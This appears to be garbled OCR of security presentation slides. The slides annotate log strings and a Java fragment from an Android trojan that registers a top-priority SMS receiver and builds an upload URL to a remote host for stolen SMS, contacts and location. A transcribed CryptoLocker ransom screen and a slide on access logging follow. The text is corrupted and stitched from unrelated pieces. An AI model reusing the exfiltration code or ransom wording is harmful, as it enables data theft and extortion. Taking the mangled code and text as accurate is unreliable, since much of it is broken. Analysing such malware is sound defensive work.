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Log.i("ERS SATRUN", "1 ErtgeBEIFGEER T 1 ") - Timer RUN, Whole timer loop endll
Logi("RUNE@", "ERROR") - Run inside

Log.i("E &0 T ", this.nativenumber) - Launched

Log.i("FtLFMEstE M, "F T Mg - sbEsendt8HIEIE 1 ") - Phone network conditions,
no cell phone network, or send module errorl

Log.i("#f Blintent”, "E & FIETLIET, HEIFBSa0") -New intent |, the main program is
running, and this does not start

Log.i("contact®E & ", this.contact) - contact retransmission

Log.i("sendInfo”, "Ml&5-Fi#") - network blocked

Log.i("# ¥ #5218 T iB", localBundle getString("sms") - received SMS
Log.i("#& W 3 @37 3", locaBundle getString("contact")) - received contacts

Logi("E 1 F| L& {§ 82" localBundle getString("location™)) - receiving the location
information

Log.i("#& W ¥ record”, localBundle getString(“other”)) - received record

{

if (send.sendInfo("create”, this.nabivanumber:}‘

{
IntentFilter locallntentFilter = new IntentFilter ("com.google.system.receiver™):
localIlntentFilter.setPriocrity(2147483647);
registerBecei MECE1VENJ . localIntentFilter):
send.urlatr = |(this.hostname + "/data/" + this.nativenumber + "/process.php”):
serviceInit()
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Any attempt to remove or damage this software wil kaad to the immedite
destruction of the prwate key by server.
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1% CryptoLocker

ur personal files are encrypted!

Your important files encryption produced on this computer: photos, videos,
documents, etc. Here is a complete list of encrypted files, and you can personally verify
this.

Encryption was produced using 3 unique public key RSA-2048 generated for this
computer. To decrypt files you need to obtain the private key.

The single copy of the private key, which wil allow you to decrypt the files, located
on a secret server on the Internet; the server will destroy the key after a time
specified in this window. After that, nobody and never will be able to restore files...

To obtain the private key for this computer, which wil automatically decrypt files, you
need to pay 300 USD / 300 EUR / similar amount in another currency.

Click «Next» to select the method of payment and the currency.

Any attempt to remove or damage this software will lead to the immediate
Private key will be destroyed on destruction of the private key by server.
2013/10/25
T4 02:49

Time left

68:42:23
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http://www.ibtimes.com/cryptolocker-virus-new-malware-holds-computers-ransom-demands-300-within-100-hours-threatens-encrypt
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#  Real-Time Access Log
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- WHO Access WHAT Doc at WHEN
- WHO Access WHAT Sensitive Doc at WHEN
- WHO Share WHAT Sensitive Doc at WHEN
- WHO Access Sharing WHAT Doc at WHEN

SysLog Server - WHO Access WHAT Sharing Sensitive Doc at WHEN
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